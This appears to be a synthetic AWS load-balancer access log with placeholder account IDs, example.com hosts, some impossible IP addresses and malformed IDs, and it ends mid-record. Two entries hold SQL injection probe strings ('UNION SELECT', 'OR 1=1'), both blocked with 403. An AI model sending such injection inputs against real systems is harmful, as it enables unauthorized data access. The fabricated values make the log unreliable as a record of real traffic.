"Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c532-709b5531632542bdb037faf9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:58:10.382824Z "forward" "-" "-" "10.0.123.177:443" "301" "-" "-" +https 2024-11-01T00:58:11.851055Z prod-api-alb 49.132.63.76:58745 10.0.197.42:443 0.047159 0.143566 0.068960 302 302 497 12567 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c533-823681ba486a4ff18dca9b96" "prod-api-alb.example.com" "-" 0 2024-11-01T00:58:11.851055Z "forward" "-" "-" "10.0.197.42:443" "302" "-" "-" +https 2024-11-01T00:58:13.660700Z staging-alb 139.158.130.125:15993 58.66.46.234:443 0.087354 0.034371 0.142166 301 301 50 10557 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c535-a4d7d99ba38f4ea783011002" "staging-alb.example.com" "-" 5 2024-11-01T00:58:13.660700Z "forward" "-" "-" "58.66.46.234:443" "301" "-" "-" +https 2024-11-01T00:58:14.386585Z prod-web-alb 236.249.234.21:62669 10.0.63.101:443 0.095984 0.370648 0.016094 301 301 102 2590 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c536-3b933a6aa2e54cd784fc53bd" "prod-web-alb.example.com" "-" 3 2024-11-01T00:58:14.386585Z "forward" "-" "-" "10.0.63.101:443" "301" "-" "-" +https 2024-11-01T00:58:15.024034Z prod-web-alb 156.25.47.6:48604 10.0.90.45:443 0.085147 0.182277 0.094212 404 404 981 2372 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c537-dcfa8fc12b32493181d7be1d" "prod-web-alb.example.com" "-" 3 2024-11-01T00:58:15.024034Z "forward" "-" "-" "10.0.90.45:443" "404" "-" "-" +http 2024-11-01T00:58:15.933825Z staging-alb 90.129.117.243:32181 235.122.132.36:8080 0.039963 0.052145 0.042202 404 404 153 6567 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c537-0d3878d3ed614e579fea4ea9" "staging-alb.example.com" "-" 4 2024-11-01T00:58:15.933825Z "forward" "-" "-" "235.122.132.36:8080" "404" "-" "-" +https 2024-11-01T00:58:16.477467Z staging-alb 200.199.115.20:35039 111.156.182.64:8080 0.039235 0.337036 0.022272 200 200 72 3364 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c538-14d08ccc4d134fc4b4e1629d" "staging-alb.example.com" "-" 2 2024-11-01T00:58:16.477467Z "forward" "-" "-" "111.156.182.64:8080" "200" "-" "-" +https 2024-11-01T00:58:18.055823Z prod-api-alb 57.149.24.227:53257 10.0.174.60:443 0.025728 0.389797 0.081671 200 200 947 5515 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c53a-9562df612591407cb89c90bd" "prod-api-alb.example.com" "-" 5 2024-11-01T00:58:18.055823Z "forward" "-" "-" "10.0.174.60:443" "200" "-" "-" +https 2024-11-01T00:58:18.175367Z prod-api-alb 223.18.222.16:12989 10.0.41.26:443 0.003356 0.212967 0.019542 301 301 572 13054 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c53a-e06bf4904d5a41ed94ff8f49" "prod-api-alb.example.com" "-" 2 2024-11-01T00:58:18.175367Z "forward" "-" "-" "10.0.41.26:443" "301" "-" "-" +https 2024-11-01T00:58:19.904690Z prod-api-alb 3.237.91.205:53933 10.0.1.29:443 0.052273 0.146752 0.087555 302 302 633 11715 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c53b-1b2bd6b34a4a4b609d6c7a9a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:58:19.904690Z "forward" "-" "-" "10.0.1.29:443" "302" "-" "-" +http 2024-11-01T00:58:21.816509Z staging-alb 132.147.207.163:23207 205.16.202.141:443 0.138959 0.282345 0.121472 200 200 901 2835 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c53d-b0b9e623af114bdd87c922a8" "staging-alb.example.com" "-" 10 2024-11-01T00:58:21.816509Z "forward" "-" "-" "205.16.202.141:443" "200" "-" "-" +https 2024-11-01T00:58:23.546597Z prod-api-alb 217.216.221.104:32756 10.0.146.160:443 0.059646 0.051022 0.018759 301 301 708 12086 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c53f-26adf697356245bcbcdf7c3e" "prod-api-alb.example.com" "-" 9 2024-11-01T00:58:23.546597Z "forward" "-" "-" "10.0.146.160:443" "301" "-" "-" +https 2024-11-01T00:58:24.016005Z prod-api-alb 77.68.230.29:40955 10.0.248.15:443 0.051901 0.357241 0.046264 200 200 984 8003 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c540-0a674c02aab543e795c0f7e9" "prod-api-alb.example.com" "-" 3 2024-11-01T00:58:24.016005Z "forward" "-" "-" "10.0.248.15:443" "200" "-" "-" +https 2024-11-01T00:58:25.137075Z prod-web-alb 41.100.123.79:56056 10.0.33.49:443 0.039616 0.393349 0.074098 200 200 621 11061 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c541-654b5f2c0f67419a9c253341" "prod-web-alb.example.com" "-" 8 2024-11-01T00:58:25.137075Z "forward" "-" "-" "10.0.33.49:443" "200" "-" "-" +http 2024-11-01T00:58:26.862527Z staging-alb 110.195.163.73:53660 174.207.8.189:80 0.112110 0.600022 0.090274 200 200 211 10658 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c542-30e15aa720f9409d82b820a9" "staging-alb.example.com" "-" 3 2024-11-01T00:58:26.862527Z "forward" "-" "-" "174.207.8.189:80" "200" "-" "-" +http 2024-11-01T00:58:27.166020Z staging-alb 8.21.152.130:60562 213.192.45.80:443 0.117184 0.185647 0.082017 200 200 232 9652 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c543-b020aa56fe504f97b118bee9" "staging-alb.example.com" "-" 6 2024-11-01T00:58:27.166020Z "forward" "-" "-" "213.192.45.80:443" "200" "-" "-" +https 2024-11-01T00:58:28.356323Z prod-api-alb 225.65.60.181:16797 10.0.194.141:443 0.017087 0.393332 0.068177 200 200 44 9540 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c544-35eb6f99dee34561a3de8a74" "prod-api-alb.example.com" "-" 3 2024-11-01T00:58:28.356323Z "forward" "-" "-" "10.0.194.141:443" "200" "-" "-" +https 2024-11-01T00:58:29.252527Z staging-alb 32.88.97.250:58001 216.152.225.238:80 0.049426 0.166260 0.031047 200 200 992 5935 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c545-0ab8a5af2cba4ee6b250dd66" "staging-alb.example.com" "-" 3 2024-11-01T00:58:29.252527Z "forward" "-" "-" "216.152.225.238:80" "200" "-" "-" +https 2024-11-01T00:58:30.273333Z prod-web-alb 101.109.53.32:11152 10.0.25.81:443 0.021221 0.099921 0.050618 404 404 852 3249 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c546-edf22ad071944e308afe9269" "prod-web-alb.example.com" "-" 2 2024-11-01T00:58:30.273333Z "forward" "-" "-" "10.0.25.81:443" "404" "-" "-" +https 2024-11-01T00:58:32.208138Z staging-alb 151.104.73.104:45757 224.126.17.79:8080 0.065215 0.137322 0.060931 301 301 157 3717 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c548-b10f7730d20942e1b9c395a1" "staging-alb.example.com" "-" 0 2024-11-01T00:58:32.208138Z "forward" "-" "-" "224.126.17.79:8080" "301" "-" "-" +https 2024-11-01T00:58:32.308978Z prod-api-alb 185.181.147.41:62252 10.0.30.147:443 0.028714 0.177960 0.093060 403 403 495 1812 "GET /search?q=1' UNION SELECT HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c548-ebdfe7f575f244f0bcde6c56" "-" "-" 7 2024-11-01T00:58:32.308978Z "forward" "-" "-" "10.0.30.147:443" "403" "-" "-" +https 2024-11-01T00:58:33.966808Z prod-api-alb 223.14.17.41:30273 10.0.165.248:443 0.020801 0.217348 0.022687 200 200 64 10863 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c549-c76824f3cc484768af98244d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:58:33.966808Z "forward" "-" "-" "10.0.165.248:443" "200" "-" "-" +https 2024-11-01T00:58:35.491581Z prod-web-alb 43.60.178.163:46627 10.0.200.9:443 0.093879 0.254607 0.010277 404 404 708 6390 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c54b-bc55b360026643b7ab08493c" "prod-web-alb.example.com" "-" 6 2024-11-01T00:58:35.491581Z "forward" "-" "-" "10.0.200.9:443" "404" "-" "-" +https 2024-11-01T00:58:37.022877Z prod-web-alb 177.109.128.4:59872 10.0.199.23:443 0.074279 0.066209 0.082098 301 301 122 10078 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c54d-af535918089a46d0b486f99f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:58:37.022877Z "forward" "-" "-" "10.0.199.23:443" "301" "-" "-" +http 2024-11-01T00:58:37.386537Z staging-alb 201.226.39.245:53350 84.215.218.229:80 0.068212 0.664854 0.076585 200 200 609 6917 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c54d-a03dc812a9b44c829f925d40" "staging-alb.example.com" "-" 1 2024-11-01T00:58:37.386537Z "forward" "-" "-" "84.215.218.229:80" "200" "-" "-" +https 2024-11-01T00:58:38.214952Z prod-api-alb 20.84.92.202:36931 10.0.213.121:443 0.086594 0.465897 0.058519 200 200 661 2500 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c54e-db58a182c81c43118727ab10" "prod-api-alb.example.com" "-" 1 2024-11-01T00:58:38.214952Z "forward" "-" "-" "10.0.213.121:443" "200" "-" "-" +http 2024-11-01T00:58:39.291595Z staging-alb 247.227.222.188:42892 225.250.9.212:8080 0.000126 0.511737 0.042281 200 200 341 5130 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c54f-954027403a074e51a8c46c3c" "staging-alb.example.com" "-" 1 2024-11-01T00:58:39.291595Z "forward" "-" "-" "225.250.9.212:8080" "200" "-" "-" +https 2024-11-01T00:58:41.148252Z prod-api-alb 161.82.244.14:34950 10.0.224.126:443 0.012474 0.437645 0.088174 404 404 389 5328 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c551-e97f286da4804e37a78f3a72" "prod-api-alb.example.com" "-" 7 2024-11-01T00:58:41.148252Z "forward" "-" "-" "10.0.224.126:443" "404" "-" "-" +https 2024-11-01T00:58:42.573011Z prod-api-alb 148.77.190.218:16642 10.0.191.88:443 0.098198 0.193887 0.028839 200 200 963 9857 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c552-7c5b73d2a8094e97b9c1cc36" "prod-api-alb.example.com" "-" 2 2024-11-01T00:58:42.573011Z "forward" "-" "-" "10.0.191.88:443" "200" "-" "-" +https 2024-11-01T00:58:44.179294Z prod-web-alb 139.158.223.137:60113 10.0.177.154:443 0.062579 0.179042 0.084466 200 200 700 10839 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c554-1cdf23914982404a8df863df" "prod-web-alb.example.com" "-" 6 2024-11-01T00:58:44.179294Z "forward" "-" "-" "10.0.177.154:443" "200" "-" "-" +https 2024-11-01T00:58:44.858258Z prod-api-alb 201.230.70.172:61259 10.0.130.182:443 0.075232 0.347966 0.058816 200 200 943 13082 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c554-13b32f61ab4a48f3ba7c7c02" "prod-api-alb.example.com" "-" 4 2024-11-01T00:58:44.858258Z "forward" "-" "-" "10.0.130.182:443" "200" "-" "-" +https 2024-11-01T00:58:45.475092Z prod-api-alb 22.31.7.227:49801 10.0.123.167:443 0.010024 0.170344 0.038936 200 200 433 8045 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c555-51507da9085e466290a559ce" "prod-api-alb.example.com" "-" 8 2024-11-01T00:58:45.475092Z "forward" "-" "-" "10.0.123.167:443" "200" "-" "-" +https 2024-11-01T00:58:46.139347Z staging-alb 161.224.89.46:54396 12.62.243.168:443 0.078846 0.274605 0.120342 200 200 49 13545 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c556-dcf3a98fbf5d4417b1a58c16" "staging-alb.example.com" "-" 9 2024-11-01T00:58:46.139347Z "forward" "-" "-" "12.62.243.168:443" "200" "-" "-" +https 2024-11-01T00:58:47.725172Z staging-alb 173.18.43.54:40450 161.48.196.99:8080 0.149562 0.567091 0.147613 200 200 466 13565 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c557-850d6edd73834d7a921adaeb" "staging-alb.example.com" "-" 0 2024-11-01T00:58:47.725172Z "forward" "-" "-" "161.48.196.99:8080" "200" "-" "-" +https 2024-11-01T00:58:48.776312Z prod-api-alb 247.152.91.28:35623 10.0.234.174:443 0.007430 0.138139 0.043436 404 404 792 9654 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c558-8c779a6df02e467e9dfad5af" "prod-api-alb.example.com" "-" 6 2024-11-01T00:58:48.776312Z "forward" "-" "-" "10.0.234.174:443" "404" "-" "-" +https 2024-11-01T00:58:49.042348Z prod-web-alb 226.123.241.126:21797 10.0.126.218:443 0.084070 0.169906 0.028673 200 200 265 13122 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c559-2f3727a873474fa1a97832ae" "prod-web-alb.example.com" "-" 1 2024-11-01T00:58:49.042348Z "forward" "-" "-" "10.0.126.218:443" "200" "-" "-" +https 2024-11-01T00:58:50.652623Z prod-api-alb 131.128.160.26:15422 10.0.213.128:443 0.083246 0.294327 0.070239 200 200 658 7493 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c55a-6eb1fffe645746c1a54a1cbd" "prod-api-alb.example.com" "-" 6 2024-11-01T00:58:50.652623Z "forward" "-" "-" "10.0.213.128:443" "200" "-" "-" +http 2024-11-01T00:58:52.466101Z staging-alb 25.65.247.228:16163 35.122.129.113:8080 0.051087 0.517717 0.134811 200 200 731 2431 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c55c-015c9d13cfa14ae6b5f6aadb" "staging-alb.example.com" "-" 10 2024-11-01T00:58:52.466101Z "forward" "-" "-" "35.122.129.113:8080" "200" "-" "-" +https 2024-11-01T00:58:53.512391Z prod-api-alb 91.174.126.240:47600 10.0.43.139:443 0.061179 0.172293 0.066804 200 200 228 3574 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c55d-a8242f322d374900889b6f09" "prod-api-alb.example.com" "-" 2 2024-11-01T00:58:53.512391Z "forward" "-" "-" "10.0.43.139:443" "200" "-" "-" +https 2024-11-01T00:58:53.866627Z prod-web-alb 9.235.119.88:38686 10.0.28.248:443 0.097643 0.405702 0.046970 200 200 640 6435 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c55d-1126d68855c14aea8c16c327" "prod-web-alb.example.com" "-" 9 2024-11-01T00:58:53.866627Z "forward" "-" "-" "10.0.28.248:443" "200" "-" "-" +https 2024-11-01T00:58:53.971251Z prod-web-alb 9.107.63.199:41031 10.0.177.146:443 0.099622 0.039107 0.056696 200 200 912 2280 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c55d-9c9734ab360b4b5d92db7526" "prod-web-alb.example.com" "-" 6 2024-11-01T00:58:53.971251Z "forward" "-" "-" "10.0.177.146:443" "200" "-" "-" +https 2024-11-01T00:58:55.601333Z prod-web-alb 72.73.228.185:55703 10.0.175.90:443 0.091351 0.335054 0.049556 200 200 465 1878 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c55f-cfc136a379474a42bc47de64" "prod-web-alb.example.com" "-" 0 2024-11-01T00:58:55.601333Z "forward" "-" "-" "10.0.175.90:443" "200" "-" "-" +https 2024-11-01T00:58:55.828838Z prod-api-alb 86.242.76.1:60628 10.0.152.141:443 0.033148 0.219086 0.038798 404 404 236 14004 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c55f-6e8c07604be94c8d9fb65471" "prod-api-alb.example.com" "-" 8 2024-11-01T00:58:55.828838Z "forward" "-" "-" "10.0.152.141:443" "404" "-" "-" +https 2024-11-01T00:58:56.687232Z prod-api-alb 146.129.144.173:63848 10.0.171.155:443 0.038983 0.289443 0.066513 200 200 913 1170 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c560-0d75d11be50b42399e7d9b70" "prod-api-alb.example.com" "-" 4 2024-11-01T00:58:56.687232Z "forward" "-" "-" "10.0.171.155:443" "200" "-" "-" +https 2024-11-01T00:58:57.522650Z prod-web-alb 216.114.178.219:26695 10.0.153.31:443 0.039070 0.400569 0.032725 302 302 869 8274 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c561-abbcab661c3640e485fee29f" "-" "-" 6 2024-11-01T00:58:57.522650Z "forward" "-" "-" "10.0.153.31:443" "302" "-" "-" +https 2024-11-01T00:58:58.901802Z prod-api-alb 143.57.240.72:39225 10.0.22.75:443 0.079446 0.135833 0.062068 404 404 368 12476 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c562-86408f67986a48368132d8de" "prod-api-alb.example.com" "-" 4 2024-11-01T00:58:58.901802Z "forward" "-" "-" "10.0.22.75:443" "404" "-" "-" +https 2024-11-01T00:59:00.131788Z prod-web-alb 60.45.217.239:22974 10.0.229.12:443 0.065978 0.058798 0.079747 404 404 916 4800 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c564-868e71e950fc49dd804fc7a3" "prod-web-alb.example.com" "-" 5 2024-11-01T00:59:00.131788Z "forward" "-" "-" "10.0.229.12:443" "404" "-" "-" +https 2024-11-01T00:59:01.108912Z prod-api-alb 34.107.146.218:45712 10.0.74.73:443 0.083625 0.306140 0.088903 302 302 135 8359 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c565-f91f25f5b2ac4b3bb8443fc6" "prod-api-alb.example.com" "-" 6 2024-11-01T00:59:01.108912Z "forward" "-" "-" "10.0.74.73:443" "302" "-" "-" +https 2024-11-01T00:59:01.267868Z prod-web-alb 185.181.21.23:32079 10.0.43.98:443 0.059855 0.050212 0.031550 403 403 761 5412 "POST /users?id=1 OR 1=1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 